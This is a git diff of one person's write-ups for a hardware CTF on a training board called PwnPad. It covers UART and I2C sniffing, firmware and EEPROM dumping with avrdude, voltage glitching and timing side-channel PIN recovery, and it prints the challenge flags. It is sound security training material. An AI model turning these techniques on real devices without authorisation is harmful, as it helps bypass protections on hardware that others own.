+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
